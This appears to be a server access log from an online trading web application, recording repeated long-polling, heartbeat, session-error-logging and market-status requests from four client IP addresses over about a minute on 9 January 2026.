[09/Jan/2026:14:55:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942026345 HTTP/1.1" -
[09/Jan/2026:14:55:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942033644 HTTP/1.1" -
[09/Jan/2026:14:55:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942044789 HTTP/1.1" -
[09/Jan/2026:14:56:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942029667 HTTP/1.1" -
[09/Jan/2026:14:56:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942031383 HTTP/1.1" -
[09/Jan/2026:14:56:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942038670 HTTP/1.1" -
[09/Jan/2026:14:56:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942049844 HTTP/1.1" -
[09/Jan/2026:14:56:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:56:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942034851 HTTP/1.1" -
[09/Jan/2026:14:56:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942036430 HTTP/1.1" -
[09/Jan/2026:14:56:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942043766 HTTP/1.1" -
[09/Jan/2026:14:56:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942054867 HTTP/1.1" -
[09/Jan/2026:14:56:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942040004 HTTP/1.1" -
[09/Jan/2026:14:56:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:56:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942041455 HTTP/1.1" -
[09/Jan/2026:14:56:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942048841 HTTP/1.1" -
[09/Jan/2026:14:56:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:56:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:56:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942059891 HTTP/1.1" -
[09/Jan/2026:14:56:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942045155 HTTP/1.1" -
[09/Jan/2026:14:56:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942046511 HTTP/1.1" -
[09/Jan/2026:14:56:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942053886 HTTP/1.1" -
[09/Jan/2026:14:56:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942064924 HTTP/1.1" -
[09/Jan/2026:14:56:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:56:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942050298 HTTP/1.1" -
[09/Jan/2026:14:56:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942051555 HTTP/1.1" -
[09/Jan/2026:14:56:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942058972 HTTP/1.1" -
[09/Jan/2026:14:56:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:56:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:56:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942069948 HTTP/1.1" -
[09/Jan/2026:14:56:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:56:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942055352 HTTP/1.1" -
[09/Jan/2026:14:56:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942056602 HTTP/1.1" -
[09/Jan/2026:14:56:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942064040 HTTP/1.1" -
[09/Jan/2026:14:56:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942075026 HTTP/1.1" -
[09/Jan/2026:14:56:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942060395 HTTP/1.1" -
[09/Jan/2026:14:56:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942061634 HTTP/1.1" -
[09/Jan/2026:14:56:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942069072 HTTP/1.1" -
[09/Jan/2026:14:56:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:56:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942080090 HTTP/1.1" -
[09/Jan/2026:14:56:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942065531 HTTP/1.1" -
[09/Jan/2026:14:56:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942066683 HTTP/1.1" -
[09/Jan/2026:14:56:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942074171 HTTP/1.1" -
[09/Jan/2026:14:56:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942085145 HTTP/1.1" -
[09/Jan/2026:14:56:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942070709 HTTP/1.1" -
[09/Jan/2026:14:56:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:56:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942071705 HTTP/1.1" -
[09/Jan/2026:14:56:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942079247 HTTP/1.1" -
[09/Jan/2026:14:56:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:56:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:56:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942090178 HTTP/1.1" -
[09/Jan/2026:14:56:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942075854 HTTP/1.1" -
[09/Jan/2026:14:56:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942076747 HTTP/1.1" -
[09/Jan/2026:14:56:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942084275 HTTP/1.1" -
[09/Jan/2026:14:56:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942095199 HTTP/1.1" -
[09/Jan/2026:14:56:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:56:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942080991 HTTP/1.1" -
[09/Jan/2026:14:56:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942081788 HTTP/1.1" -
[09/Jan/2026:14:56:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942089386 HTTP/1.1" -
[09/Jan/2026:14:56:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:56:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:56:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942100223 HTTP/1.1" -
[09/Jan/2026:14:56:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:56:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:56:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942086050 HTTP/1.1" -
[09/Jan/2026:14:56:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942086831 HTTP/1.1" -
[09/Jan/2026:14:56:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942094455 HTTP/1.1" -
[09/Jan/2026:14:57:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942105248 HTTP/1.1" -
[09/Jan/2026:14:57:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942091103 HTTP/1.1" -
[09/Jan/2026:14:57:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942091849 HTTP/1.1" -
[09/Jan/2026:14:57:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942099491 HTTP/1.1" -
[09/Jan/2026:14:57:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:57:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942110315 HTTP/1.1" -
[09/Jan/2026:14:57:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942096247 HTTP/1.1" -
[09/Jan/2026:14:57:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942096875 HTTP/1.1" -
[09/Jan/2026:14:57:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942104597 HTTP/1.1" -
